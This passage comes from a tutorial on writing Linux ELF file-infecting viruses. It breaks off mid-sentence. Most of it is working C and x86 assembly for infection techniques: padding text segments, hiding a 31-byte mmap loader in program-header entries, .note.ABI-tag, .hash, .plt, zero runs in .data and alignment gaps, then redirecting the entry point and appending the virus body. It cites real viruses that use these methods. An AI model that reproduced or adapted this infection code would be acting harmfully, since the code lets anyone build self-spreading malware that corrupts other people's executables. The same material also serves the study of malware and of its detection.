MAP_PRIVATE|MAP_A NONYMOUS, 0, 0); if (nloc > 0xfffff000) exit(0); memcpy((void*)nloc, g->self, g->size); /*1*/ *(uint32_t*)(nloc + 8) -= nloc - (uint32_t)g->self; mprotect(nloc, g->size, PROT_READ|PROT_EXEC); asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r "(nloc):"%eax"); /*2*/ bzero(g->self, g->size); *(uint32_t*)(&esp - 1) = (nloc + 6); #endif With some changes: 1. Argument of the jmp insruction which return the control to the host program - is a relative address. When the virus will move to another memory location it should be fixed (substract delta-offset). Before After | host |<--+ | host |<==+ --- : : | : : # ^ : : | : : # | | pusha | | | 0 | - - - -|- - - - - g->self | call virus | | | 0 0 0 0 0 | # | ^ | popa | | | 0 | # | | | jmp host |---+ | 0 0 0 0 0 | # | | : .......... : : : # v | delta : wrong! :<--+ --- | : : | | : : | v | pusha | | - - - - - - - nloc | call virus | | | popa | | | jmp host |---+ | ......... | 2. The virus must clear the memory Now infected program works as intended. Fall into the Gap I already mentioned the hole that appears between segments in the process due to alignment requirements: ,------------- 8048000 --- text segment / ccccccccccccc page / ------------- 8049000 | text segment |/ ccccccDDDDDDD page | ccccccccccccc | ,--------------- 804a000 --- data segment | ccccccDDDDDDD |X ccccccDDDDDDD page | DDDDDDDDDDDDD | `--------------- 804b000 | data segment |\ DDDDDDDDDDDDD page `--------------- The data segment begins right after the text seg. in the file, but in the memory code end data can not share the same page, since the code has r-x permissions and data rw-. As seen from the picture the same page is mmaped twice and the hole (page-size long) appears between the segments. It's more than enough for the virus code. Is it possible to avoid this? Yes, it is, but to do that the linker should pad the text segment up to the page size _in the file_: text segment | | | - - - - - - - | | ccccccccccccc | page | - - - - - - - | | cccccc0000000 | page +---------------+ | DDDDDDDDDDDDD | page | - - - - - - - | | | data segment The file size will grow and there still be an unused space in the end of text segment, less than a page, but enough for the virus. The ratio of two types of files in my system is 2:1. /* examples/Segments/infect-padding.c */ uint32_t dp, tp, ve, vo; /* find loadable segments and check 'em */ phdr = (Elf32_Phdr*)(m + ehdr->e_phoff); for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0 && (i + 1) < ehdr->e_phnum && phdr[i + 1].p_type == PT_LOA D) { if (phdr[i].p_filesz != phdr[i].p_memsz) break; goto ok; } goto _unmap; ok: vo = phdr[i].p_filesz; ve = phdr[i].p_vaddr + phdr[i].p_filesz; tp = 4096 - (phdr[i].p_filesz & 4095); dp = phdr[i + 1].p_vaddr - (phdr[i + 1].p_vaddr & ~4095); if (tp + dp < g->size || tp == 0x1000 || phdr[i + 1].p_filesz == 0 ) goto _unmap; /* update program headers */ phdr[i].p_memsz += tp; phdr[i].p_filesz += tp; if (dp != 0) { /* adjust data seg */ phdr[i + 1].p_vaddr -= dp; phdr[i + 1].p_paddr -= dp; phdr[i + 1].p_offset += tp; phdr[i + 1].p_filesz += dp; phdr[i + 1].p_memsz += dp; /* adjust PHDRs */ for (i = i + 2; i < ehdr->e_phnum; i++) if (phdr[i].p_offset >= vo) phdr[i].p_offset += tp + dp; /* make hole */ MAKE_HOLE(vo, tp + dp); /* adjust SHDRs */ SHIFT_SHDRS(vo, tp + dp); } memcpy(m + vo, g->self, g->size); *(uint32_t*)(m + vo + 8) = old_entry - ve - 12; ehdr->e_entry = ve; For the first type of files the virus will add one more page, moving the text segment's boundary "up" and data segment's boundary down, increasing the size of both segments. For the second type of files the virus will just write its body over the padding of text segment. The virtual addresses of both segments are left unchanged. Examples of headers: 1. +---------------+ +---------------+ | CCCCCCCCCCCCC | | CCCCCCCCCCCCC | | CCCCCC +------+ | CCCCCC VVVV | +--------+ DDDD | +---------------+ | DDDDDDDDDDDDD | | VVVVVVV DDDD | +---------------+ | DDDDDDDDDDDDD | +---------------+ Before LOAD 0x000000 0x08048000 0x08048000 0x032b8 0x032b8 R E 0x100 0 LOAD 0x0032b8 0x0804c2b8 0x0804c2b8 0x00662 0x00662 RW 0x100 0 After LOAD 0x000000 0x08048000 0x08048000 0x04000 0x04000 R E 0x100 0 LOAD 0x004000 0x0804c000 0x0804c000 0x0091a 0x0091a RW 0x100 0 2. +---------------+ +---------------+ | CCCCCCCCCCCCC | | CCCCCCCCCCCCC | | CCCCCC 000000 | | CCCCCC VVVVVV | +---------------+ +---------------+ | DDDDDDDDDDDDD | | DDDDDDDDDDDDD | +---------------+ +---------------+ Before LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000 LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000 After LOAD 0x000000 0x08048000 0x08048000 0x14000 0x14000 R E 0x1000 LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000 This method is used in the Coin virus. Merging the segments [FIXME] Cavity infectors In the previous chapter I showed how to explore the gaps between segments, let's find some space _within_ the segments. There are a lot of optional headers, padding, "meaningless" instructions, reserved fields, dead code and zero variables within loadable segments. All that could and would be used to place a viral code. Most of this areas are small, so all examples from this chapter would write not the virus body as a whole, but virus loader only. The loader will read the virus body from the file's tail and pass it the control, however there are sometimes enough space for the complete virus code. The Loader The loader is quite simple, been it written in C it would took one line of code: jmp(mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, open(argv[0], O_RDONLY), offset); But this is the rare case when using assembly is justified and merely unavoidable - every byte is counts. I managed with 31 bytes: /* examples/Loader/loader.asm */ BITS 32 pusha ;1 push byte 5 pop eax xor ecx, ecx mov ebx,[esp + 0x24];4 ebx = argv[0] int 0x80 ;2 open(argv[0], O_RDONLY) push dword 0x0 ;5 offset for mmap push eax ;1 handle inc ecx ;1 ecx = 1 push ecx ;1 MAP_SHARED push byte 5 ;2 PROT_EXEC push ecx ;1 length=1, but at least 1 page will be m maped push ebp mov ebx,esp ;2 syscall args mov al,0x5a ;2 __NR_old_mmap int 0x80 ;2 mmap(0,1,PROT_EXEC,MAP_SHARED,h,o) jmp eax ;2 The loader assumes that ebp and ecx contains zeroes upon program start: $ gdb /bin/arch (gdb) break *0x08048330 Breakpoint 1 at 0x8048330 (gdb) run Starting program: /bin/arch Breakpoint 1, 0x08048330 in ?? () (gdb) info reg eax 0x113f64 1130340 ecx 0x0 0 edx 0x10d990 1104272 ebx 0x116fb4 1142708 esp 0xbfaada40 0xbfaada40 ebp 0x0 0x0 esi 0xbfaada4c -1079322036 edi 0x8048330 134513456 eip 0x8048330 0x8048330 eflags 0x282 642 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 This allowed me to save three bytes. It is possible to replace push byte 4 with push ecx (PROT_READ), if you have Read you'll have the eXecute too, but with this change the loader will fail with "kernel.exec-shield" enabled. The "length" arg is set to 1, but that's right - the whole page will be mmaped anyway. There is no space left for the error checking and cleaning the stack from the mmap' arguments, so the virus prologue must be changed: asm( ".globl virus_start; virus_start:\n" "call virus; add $24,%esp; popa; .byte 0x68; old_entry: .long fake _host; ret"); Program Header Table and .note.ABI-tag We already exploited unused PHT entries in the previous chapter. Why not to write the code there? The virus will find unused entries in the PHT, move the table entries, reduce the number of records (e_phnum), write the code to the end of table. More than this, the PT_NOTE record points to the .note.ABI-tag section (which will become unused after removal of corresponding PHT entry), so this section could be used as well. Every record in the table is 32 bytes long, .note.ABI-tag section has the same length, the code below will randomly choose the place for the loader by removing one record fom the PHT. The virus may remove all unused records thus relaxing the requirements to the loader's size. /* examples/Cavity.PHT/infect-pht.c */ /* find start (to calculate new entry) and end (to check whether w e can remove PT_PHDR) of text segment */ uint32_t b = 0, t = 0, o; for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) { b = phdr[i].p_vaddr; t = phdr[i].p_vaddr + phdr[i].p_filesz; } if (b == 0) goto _unmap; /* do we have "unused" entries in PHT */ char targets[3]; int nt = 0; for (i = 0; i < ehdr->e_phnum; i++) if (phdr[i].p_type == PT_NOTE || /* PT_PHDR cannot be removed if it is located outside load able segment */ /* FIXME: only text segment checked here */ (phdr[i].p_type == PT_PHDR && phdr[i].p_vaddr >= b && phdr [i].p_vaddr < t) || /* we cannot remove GNU_STACK if the stck ought to be exec utable */ (phdr[i].p_type == PT_GNU_STACK && (phdr[i].p_flags & PF_X ) == 0)) targets[nt++] = i; if (nt == 0) goto _unmap; i = targets[random(nt)]; t = phdr[i].p_type; o = phdr[i].p_offset; /* remove selected PHT entry */ if (i != ehdr->e_phnum - 1) memcpy(&phdr[i], &phdr[i + 1], sizeof(Elf32_Phdr) * (ehdr- >e_phnum - i - 1)); ehdr->e_phnum--; /* patch loader */ uint32_t nl = (l + 4095) & 0xfffff000; *(uint32_t*)(g->loader + PATCH_OFFSET) = nl; /* PT_NOTE points to section that can be removed */ if (t == PT_NOTE && random(2) == 0) { /* replace .note.ABI-tag section */ memcpy(m + o, g->loader, CSIZE); } else { /* replace PHT entry */ o = ((char*)&phdr[ehdr->e_phnum] - (char*)m); memcpy(m + o, g->loader, CSIZE); } /* write virus body */ ftruncate(h, nl); lseek(h, 0, 2); write(h, g->self, g->size); pwrite(h, &ehdr->e_entry, 4, nl + 10, 0); /* update entry point */ ehdr->e_entry = b + o; Before writing the virus body the file must be rounded to the page size. The code has been slightly changed, virus() function has been extended with initialization of loader and random number generator: /* init random() */ g->seed = time(0); /* loader */ uint8_t loader[CSIZE]; *(uint32_t*)(loader + 0x00) = 0x5c8b9560; *(uint32_t*)(loader + 0x04) = 0x05b02424; *(uint32_t*)(loader + 0x08) = 0x006880cd; *(uint32_t*)(loader + 0x0c) = 0x50000000; *(uint32_t*)(loader + 0x10) = 0x046a5141; *(uint32_t*)(loader + 0x14) = 0x89514951; *(uint32_t*)(loader + 0x18) = 0xcd5ab0e3; *(uint32_t*)(loader + 0x1c) = 0x00e0ff80; g->loader = loader; Upon infection the file looks as follows: Before After Anothe r variant : : : : : : | | ELF header | | | | +--------------+ +--------------+ +--------- -----+ | PHDR | Program Header | PHDR | | PHDR | | INTERP | Table | INTERP | | INTERP | | LOAD | | LOAD | | LOAD | | LOAD | | LOAD | | LOAD | | DYNAMIC | | DYNAMIC | | DYNAMIC | | NOTE | | NOTE | | EH_FRAME | | EH_FRAME | | EH_FRAME | | STACK | | STACK | Entry Point -> | virus loader | | | +--------------+ +--------------+ +--------- -----+ | .interp | | .interp | | .interp | +--------------+ +--------------+ +--------- -----+ | .note.ABI-tag| | .note.ABI-tag| Entry Point -> | virus lo ader | +--------------+ +--------------+ +--------- -----+ : : : : : : Hash The .hash section is used to speed up the symbol resolving. It is possible to remove it completely or decrease its size. To remove the .hash: * Find it in the section table (sh_type == SHT_HASH), find the .dynamic at the same time * Check is it large enough to hold our code * Remove the record tagged DT_HASH from .dynamic * Copy the code to the .hash section (at sh_offset) * Change section type to SHT_NULL, SHT_PROGBITS or whatever you want, anything rather than SHT_HASH /* examples/Casher/infect-remove.c */ int dsz = 0; Elf32_Dyn *dyn; Elf32_Shdr *sh; /* save pointer to the .hash entry in the SHT and get dynamic */ sh = NULL; dyn = NULL; for (i = 0; i < ehdr->e_shnum; i++) { if (shdr[i].sh_type == SHT_HASH) sh = &shdr[i]; /* optional */ if (shdr[i].sh_type == SHT_DYNAMIC) { dsz = shdr[i].sh_size / sizeof(Elf32_Dyn); dyn = (Elf32_Dyn*)(m + shdr[i].sh_offset); } } if (sh == NULL) goto _unmap; /* do we have enough space? */ if (sh->sh_size < (CSIZE + 12)) goto _unmap; /* remove DT_HASH from dynamic section (optional) */ if (dyn != NULL) for (i = 0; i < dsz; i++) if (dyn[i].d_tag == DT_HASH) { memmove(&dyn[i], &dyn[i+1], (dsz - i - 2) * sizeof(Elf32_Dyn)); break; } /* patch loader */ uint32_t nl = (l + 4095) & 0xfffff000; *(uint32_t*)(g->loader + PATCH_OFFSET) = nl; *(uint32_t*)(m + sh->sh_offset) = 1; *(uint64_t*)(m + sh->sh_offset + 8) = 0; /* copy our code */ memcpy(m + sh->sh_offset + 12, g->loader, CSIZE); /* change .hash' type */ sh->sh_type = SHT_PROGBITS; /* write virus body */ ftruncate(h, nl); lseek(h, 0, 2); write(h, g->self, g->size); pwrite(h, &ehdr->e_entry, 4, nl + 10, 0); /* change entry point */ ehdr->e_entry = sh->sh_addr + 12; /* examples/Casher/infect-reduce.c */ unsigned long elf_hash(const unsigned char *name) { unsigned long h = 0, g; while (*name) { h = (h << 4) + *name++; if (g = h & 0xf0000000) h ^= g >> 24; h &= ~g; } return h; } void build_hash(uint32_t *hash, int nbuckets, int nchains, Elf32_S ym *sym, char *str) { uint32_t i, h, *buckets, *chains; buckets = hash + 2; chains = buckets + nbuckets; hash[0] = nbuckets; hash[1] = nchains; for (i = 1; i < nchains; i++) { h = elf_hash(str + sym[i].st_name) % nbuckets; if (buckets[h] == 0) buckets[h] = i; else { h = buckets[h]; while (chains[h] != 0) h = chains[h]; chains[h] = i; } } } Elf32_Sym *sym = NULL; Elf32_Shdr *sh = NULL; char *str = NULL; /* find .hash section */ for (i = 0; i < ehdr->e_shnum; i++) if (shdr[i].sh_type == SHT_HASH) { sh = &shdr[i]; break; } if (sh == NULL) goto _unmap; /* find symbol table and strings */ i = sh->sh_link; sym = (Elf32_Sym*)(m + shdr[i].sh_offset); i = shdr[i].sh_link; str = (char*)(m + shdr[i].sh_offset); /* rebuild hash */ uint32_t *hash = (uint32_t*)(m + sh->sh_offset), nb = hash[0], nc = hash[1]; if (((int)nb - (CSIZE + 3) / 4) < 1) goto _unmap; bzero(m + sh->sh_offset, (nb + nc + 2) * 4); nb -= (CSIZE + 3) / 4; build_hash(hash, nb, nc, sym, str); /* patch loader */ uint32_t nl = (l + 4095) & 0xfffff000; *(uint32_t*)(g->loader + PATCH_OFFSET) = nl; /* write loader */ i = (2 + nb + nc) * 4; memcpy(m + sh->sh_offset + i, g->loader, CSIZE); /* write virus body */ ftruncate(h, nl); lseek(h, 0, 2); write(h, g->self, g->size); pwrite(h, &ehdr->e_entry, 4, nl + 10, 0); /* update entry point */ ehdr->e_entry = sh->sh_addr + i; This method is used in the Linux.Hasher.A-D Procedure Linkage Table /* examples/PuLpiT/infect-plt.c */ /* find .plt section (by name) */ uint32_t psz, pla; uint8_t *plt = NULL; if (ehdr->e_shstrndx == SHN_UNDEF) goto _unmap; char *strtab = m + shdr[ehdr->e_shstrndx].sh_offset; for (i = 0; i < ehdr->e_shnum; i++) if (*(uint32_t*)(strtab + shdr[i].sh_name) == 0x746c702e) { plt = shdr[i].sh_offset + m; pla = shdr[i].sh_addr; psz = shdr[i].sh_size; break; } if (plt == NULL || CSIZE > (psz - 16)) goto _unmap; /* check values in .plt */ uint32_t gotp, orel, first_got, first_rel; gotp = orel = 0; for (i = 16; i < psz; i += 16) { if (gotp != 0) { if (*(uint32_t*)(plt + i + 2) - gotp != 4) goto _unmap; if (*(uint32_t*)(plt + i + 7) - orel != 8) goto _unmap; } gotp = *(uint32_t*)(plt + i + 2); orel = *(uint32_t*)(plt + i + 7); if (i == 16) { first_got = gotp; first_rel = orel; } } /* patch loader */ uint32_t nl = (l + 4095) & 0xfffff000; *(uint32_t*)(g->loader + PATCH_OFFSET) = nl; /* write loader */ memcpy(plt + 16, g->loader, CSIZE); /* write virus body */ ftruncate(h, nl); lseek(h, 0, 2); write(h, g->self, g->size); pwrite(h, &ehdr->e_entry, 4, nl + 10, 0); /* write number of entries in .plt */ write(h, &pla, 4); write(h, &psz, 4); write(h, &first_got, 4); write(h, &first_rel, 4); /* update entry point */ ehdr->e_entry = pla + 16; /* examples/PuLpiT/restore-plt.c */ /* move itself to the new memory location */ uint32_t nloc; nloc = mmap(NULL, 1, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMO US, 0, 0); memcpy((void*)nloc, g->self, g->size + 12); mprotect(nloc, g->size, PROT_READ|PROT_EXEC); asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r "(nloc):"%eax"); /* restore .plt section */ uint32_t plta, plts, gotp, orel, jmp1, i; plta = *(uint32_t*)(g->self + g->size + 0); plts = *(uint32_t*)(g->self + g->size + 4); gotp = *(uint32_t*)(g->self + g->size + 8); orel = *(uint32_t*)(g->self + g->size + 12); jmp1 = 0xffffffe0; mprotect(plta & 0xfffff000, (plts + 4095) & 0xfffff000, PROT_READ| PROT_WRITE); for (i = 16; i < plts; i += 16) { *(uint16_t*)(plta + i + 0x0) = 0x25ff; *(uint32_t*)(plta + i + 0x2) = gotp; *(uint8_t *)(plta + i + 0x6) = 0x68; *(uint32_t*)(plta + i + 0x7) = orel; *(uint8_t *)(plta + i + 0xb) = 0xe9; *(uint32_t*)(plta + i + 0xc) = jmp1; jmp1 -= 16; gotp += 4; orel += 8; } mprotect(plta & 0xfffff000, (plts + 4095) & 0xfffff000, PROT_READ| PROT_EXEC); /* adjust return address */ *(uint32_t*)(&esp - 1) = (nloc + 5); This method is used in the Linux.PiLoT Zeroes in the data section Let's look in the ls' data section: $ objdump -s -j .data /bin/ls /bin/ls: file format elf32-i386 Contents of section .data: 805c720 00000000 00000000 0cc00508 00000000 ................ 805c730 00000080 ffffffff 01000000 01000000 ................ 805c740 01000000 00000000 01000000 ffffffff ................ 805c750 00000000 00000000 00000000 00000000 ................ 805c760 02000000 dc7f0508 01000000 df7f0508 ................ 805c770 00000000 00000000 01000000 10ad0508 ................ 805c780 01000000 10ad0508 05000000 e17f0508 ................ 805c790 05000000 e77f0508 02000000 f67f0508 ................ 805c7a0 05000000 ed7f0508 05000000 f37f0508 ................ 805c7b0 05000000 f37f0508 00000000 00000000 ................ 805c7c0 00000000 00000000 05000000 f97f0508 ................ 805c7d0 05000000 ed7f0508 05000000 ff7f0508 ................ 805c7e0 05000000 05800508 05000000 0b800508 ................ 805c7f0 05000000 11800508 17800508 21800508 ............!... 805c800 01000000 70340508 01000000 01000000 ....p4.......... 805c810 00010000 a0ca0508 10c80508 34b00508 ............4... Large number of zeroes. Why not to write there the loader instead? It is scarcely possible to write it completely, but it is real to write to this areas the separate instructions and link them together with jmp instrcutions. In order to do that, the virus needs the code of loader, number of commands and their lengths: void mk_data(uint8_t *loader, uint8_t *length) { *(uint32_t*)(loader + 0x00) = 0x5c8b9560; *(uint32_t*)(loader + 0x04) = 0x00682424; *(uint32_t*)(loader + 0x08) = 0x89000000; *(uint32_t*)(loader + 0x0c) = 0xcd05b0c1; *(uint32_t*)(loader + 0x10) = 0x51415080; *(uint32_t*)(loader + 0x14) = 0x51495150; *(uint32_t*)(loader + 0x18) = 0x5ab0e389; *(uint32_t*)(loader + 0x1c) = 0xe0ff80cd; *(uint16_t*)(length + 0x00) = 0x4511; *(uint16_t*)(length + 0x02) = 0x2122; *(uint16_t*)(length + 0x04) = 0x1111; *(uint16_t*)(length + 0x06) = 0x2211; *(uint16_t*)(length + 0x08) = 0x0022; } uint8_t loader[32], length[10]; ... /* prepare data */ mk_data(loader, length); int i, l; uint8_t *p = loader; for (i = 0; i < LCMDS; i++) { l = length[i / 2]; l = i % 2 == 0 ? l >> 4 : l & 15; g->loader[i].len = l; g->loader[i].ptr = p; g->loader[i].next = NULL; if (i > 0) g->loader[i - 1].next = &g->loader[i]; p += l; } Put the loader instructions to the linked list. Search for the data section by name: if (ehdr->e_shstrndx == SHN_UNDEF) goto _unmap; char *name, *strtab = m + shdr[ehdr->e_shstrndx].sh_offset; for (i = 0; i < ehdr->e_shnum; i++) { name = strtab + shdr[i].sh_name; if (*(uint32_t*)name == 0x7461642e && *(uint16_t*)(name + 4) == 0x0061) break; } And now let's find all areas filled with zeroes and save it to the list too: /* examples/Cavity.Data/check_range.c */ static cell_t *check_range(uint8_t *start, uint8_t *end) { cell_t *list = NULL; uint8_t *ptr = start; int c = 0; while (ptr < end) { if (*ptr == 0) c++; else { if (c >= 6) { cell_t *q, *tmp; if ((tmp = malloc(sizeof(cell_t))) == NULL ) { free_list(list); return NULL; } tmp->ptr = ptr - c; tmp->len = c; tmp->next = NULL; if (list == NULL || tmp->len > list->len) { tmp->next = list; list = tmp; } else { q = list; while (q->next != NULL && q->next- >len > tmp->len) q = q->next; tmp->next = q->next; q->next = tmp; } } c = 0; } ptr++; } return list; } free_space = check_range(m, shdr[i].sh_offset, shdr[i].sh_offset + shdr[i].sh_size); if (free_space == NULL) goto _unmap; The list is sorted by size. I needed the malloc() and free() functions. I pick the ready from the K&R (chapter 8). /* examples/h/malloc.h */ #define NALLOC 1024 /* minimum #units to request */ typedef long Align; /* for alignment to long boundary */ union header { /* block header */ struct { union header *ptr; /* next block if on free list */ unsigned size; /* size of this block */ } s; Align x; /* force alignment of blocks */ }; typedef union header Header; //static Header base; /* empty list to get started */ //static Header *freep = NULL; /* start of free list */ static Header *morecore(unsigned nu); static void *malloc(unsigned nbytes); static void free(void *ap); /* examples/h/malloc.c */ char *sbrk(int inc) { char *r; if (g->lastbrk == NULL) { g->lastbrk = (char*)brk(0); g->savebrk = g->lastbrk; } r = g->lastbrk; g->lastbrk = (char*)brk(g->lastbrk + inc); if (g->lastbrk != (r + inc)) return (char*)-1; return r; } /* morecore: ask system for more memory */ static Header *morecore(unsigned nu) { char *cp, *sbrk(int); Header *up; if (nu < NALLOC) nu = NALLOC; cp = sbrk(nu * sizeof(Header)); if (cp == (char *) -1) /* no space at all */ return NULL; up = (Header *) cp; up->s.size = nu; free((void *)(up+1)); return g->freep; } /* malloc: general-purpose storage allocator */ static void *malloc(unsigned nbytes) { Header *p, *prevp; unsigned nunits; nunits = (nbytes+sizeof(Header)-1)/sizeof(union header) + 1; if ((prevp = g->freep) == NULL) { /* no free list yet */ g->base.s.ptr = g->freep = prevp = &g->base; g->base.s.size = 0; } for (p = prevp->s.ptr; ; prevp = p, p = p->s.ptr) { if (p->s.size >= nunits) { /* big enough */ if (p->s.size == nunits) /* exactly */ prevp->s.ptr = p->s.ptr; else { /* allocate tail e nd */ p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } g->freep = prevp; return (void *)(p+1); } if (p == g->freep) /* wrapped around free list */ if ((p = morecore(nunits)) == NULL) return NULL; /* none left */ } } /* free: put block ap in free list */ static void free(void *ap) { Header *bp, *p; bp = (Header *)ap - 1; /* point to block header */ for (p = g->freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; /* freed block at start or end of arena */ if (bp + bp->s.size == p->s.ptr) { /* join to upper n br */ bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if (p + p->s.size == bp) { /* join to lower n br */ p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; g->freep = p; } Now the virus will fix the offset within loader, put the loader's intructions instead of found zeroes, write virus body and fix the entry point: /* examples/Cavity.Data/insert_virus.c */ static int insert_virus(cell_t *i, cell_t *c) { int l; for (l = 0; c != NULL; ) if (l + c->len <= (c->next ? i->len - 5 : i->len)) { memcpy(i->ptr + l, c->ptr, c->len); l += c->len; c = c->next; } else { int n; for (n = l; n < i->len; n++) i->ptr[n] = 0x90; if (i->next != NULL) { *((uint8_t *)(i->ptr + l)) = 0xe9; *((uint32_t*)(i->ptr + l + 1)) = i->next-> ptr - i->ptr - l - 5; } else { return 1; } i = i->next; l = 0; } return 0; } uint32_t nl = (l + 4095) & 0xfffff000; /* patch loader */ *(uint32_t*)(g->loader[3].ptr + 1) = nl; if (insert_virus(free_space, g->loader) != 0) { /* clean the file */ cell_t *tmp; for (tmp = free_space; tmp; tmp = tmp->next) bzero(tmp->ptr, tmp->len); goto _unmap; } ftruncate(h, nl); lseek(h, 0, 2); write(h, g->self, g->size); pwrite(h, &ehdr->e_entry, 4, nl + 10, 0); ehdr->e_entry = ((char*)free_space->ptr - m) - shdr[i].sh_offset + shdr[i].sh_addr; It is neccessary to clean the memory: /* examples/Cavity.Data/victim.c */ #include unsigned char test[32] = { [0] = 1, [1 ... 14] = 0, [15] = 1, [16] = 1, [17 ... 30] = 0, [31] = 1, }; int main(int argc, char **argv) { int i; for (i = 0; i < 32; i++) printf("%x ", test[i]); putchar('\n'); return 0; } ./victim 1 89 e3 b0 5a cd 80 ff e0 0 0 0 0 0 0 1 1 cd 80 50 41 51 50 51 49 51 e9 e2 ff ff ff 1 To do that, write the pairs of those areas that would be cleared after our code (in infect()): cell_t *t; uint32_t x; for (t = free_space; t; t = t->next) if (*t->ptr != 0) { x = ((char*)t->ptr - m) - shdr[i].sh_offset + shdr[i].sh_addr; write(h, &x, 4); write(h, &t->len, 4); } In virus(): /* clean the loader from data segment */ uint32_t *data = (uint32_t*)(g->self + g->size); for (i = 0; data[i] != 0; i += 2) bzero(data[i], data[i + 1]); All right now: ./victim 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 Section's alignment The vast majority of the sections has alignment requirements, the beginning of the section must be rounded to a specific value. To fulfil this constraint, the previous section is padded with zeroes. There are not too much space in this paddings, but sometimes enough to fit a small code. This example is very similar to the previous one, but with a few changes: * In the search routine we\re looking for an alignment (difference between the end of the section and the beginning of the next one): static cell_t *check_range(Elf32_Ehdr *ehdr, Elf32_Shdr *shdr) { ... for (i = 1; i < ehdr->e_shnum; i++) { if (shdr[i].sh_flags & SHF_ALLOC) { int f = shdr[i + 1].sh_offset - shdr[i].sh_offset - shdr[i].sh_size; if (f < 6) continue; * We will require not only pointers, but addresses of the free spaces too, because sections could be located in the different segments: static cell_t *check_range(Elf32_Ehdr *ehdr, Elf32_Shdr *shdr) { ... tmp->ptr = (char*)ehdr + shdr[i].sh_offset + shdr[ i].sh_size; tmp->len = f; tmp->adr = shdr[i].sh_addr + shdr[i].sh_size; So, during insertion the jmp argument is calculated from addresses not from pointers: static int insert_virus(cell_t *i, cell_t *c) { ... *((uint32_t*)(i->ptr + l + 1)) = i->next-> adr - i->adr - l - 5; * Since nobody would use the space which we occupy there is no need to clear it Function alignment To improve the perfomance the compiler would try to align the labels, functions by padding the preceding code with meaningless instructions. Here is the list of paddings used by binutils (gas/config/tc-i386.c): {0x90}; /* nop */ {0x89,0xf6}; /* movl %esi,%esi */ {0x8d,0x76,0x00}; /* leal 0(%esi),%esi */ {0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */ {0x90, /* nop */ 0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */ {0x8d,0xb6,0x00,0x00,0x00,0x00}; /* leal 0L(%esi),%esi */ {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */ {0x90, /* nop */ 0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */ {0x89,0xf6, /* movl %esi,%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0x76,0x00, /* leal 0(%esi),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0x74,0x26,0x00, /* leal 0(%esi,1),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */ 0x8d,0xbf,0x00,0x00,0x00,0x00}; /* leal 0L(%edi),%edi */ {0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00, /* leal 0L(%esi,1),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0xeb,0x0d,0x90,0x90,0x90,0x90,0x90, /* jmp .+15; lotsa nops */ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; This sequences could be found in the .text section, but to avoid the false positives the search must be started on the instruction boundary. The Intel instructions has complex format and in order to determine the length of instruction correctly, the virus should use special library - length disassembler. A length disassembler to the contrary to regular ones would not even try to recover the instruction mnemonics and operands, but just returns the length of instruction or error, if the input doesn't look like a machine code. There are many libraries of that kind: LDE, RGBLDE, Catchy etc I will use MLDE32. /* examples/Cavity.Functions/check_range.c */ static cell_t *check_range(uint8_t *start, uint8_t *end) { cell_t *list = NULL; uint8_t *ptr = start; int op_len, i, s; struct { uint32_t len, crc; } p[10]; p[0].len = 15; p[0].crc = 0x11d50a7f; p[1].len = 14; p[1].crc = 0xe4ad564a; p[2].len = 15; p[2].crc = 0xd5cae9dc; p[3].len = 13; p[3].crc = 0xd6b6dcfd; p[4].len = 12; p[4].crc = 0x19fbc1f4; p[5].len = 11; p[5].crc = 0x34a6685b; p[6].len = 10; p[6].crc = 0x74d8dd25; p[7].len = 9; p[7].crc = 0x6ed89f27; p[8].len = 8; p[8].crc = 0xb7109f48; p[9].len = 7; p[9].crc = 0x5d30a0da; while (ptr < end) { _next: for (i = 0; i < 10; i++) if (crc32(0, ptr, p[i].len) == p[i].crc) { cell_t *q, *tmp; if ((tmp = malloc(sizeof(cell_t))) == NULL ) { _error: free_list(list); return NULL; } s = i == 2 ? 2 : 1; tmp->ptr = ptr + s; tmp->len = p[i].len - s; tmp->next = NULL; if (list == NULL || tmp->len > list->len) { tmp->next = list; list = tmp; } else { q = list; while (q->next != NULL && q->next- >len > tmp->len) q = q->next; tmp->next = q->next; q->next = tmp; } ptr += p[i].len; goto _next; } if ((op_len = mlde32(ptr)) <= 0) /* "Illegal instru ction! */ goto _error; ptr += op_len; } return list; } To prevent the program from falling through to virus code, I will use only those fragments 